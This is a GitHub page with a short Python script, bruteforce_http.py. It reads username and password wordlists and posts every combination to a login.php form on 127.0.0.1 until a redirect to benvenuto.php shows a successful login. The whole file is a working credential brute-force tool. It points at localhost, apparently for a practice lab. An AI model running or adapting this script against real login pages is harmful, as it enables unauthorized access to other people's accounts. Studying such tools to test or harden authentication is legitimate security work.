-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbruteforce_http.py
28 lines (22 loc) · 961 Bytes
/
bruteforce_http.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import http.client as hc, urllib.parse as up
username_file = open("nomi_utenti.txt")
password_file = open("password.txt")
user_list = username_file.readlines()
pwd_list = password_file.readlines()
stopit = False
for user in user_list:
user = user.rstrip()
if(stopit): break
for pwd in pwd_list:
pwd = pwd.rstrip()
if(stopit): break
print(f"{user} - {pwd}")
post_parameters = up.urlencode({'username': user, 'password': pwd, 'Submit': 'Submit'})
# print(post_parameters)
headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/html, application/xhtml+xml"}
conn = hc.HTTPConnection('127.0.0.1', 80)
conn.request("POST", "/login.php", post_parameters, headers)
response = conn.getresponse()
if(response.getheader('location') == 'benvenuto.php'):
print(f"logged with {user} - {pwd}")
stopit = True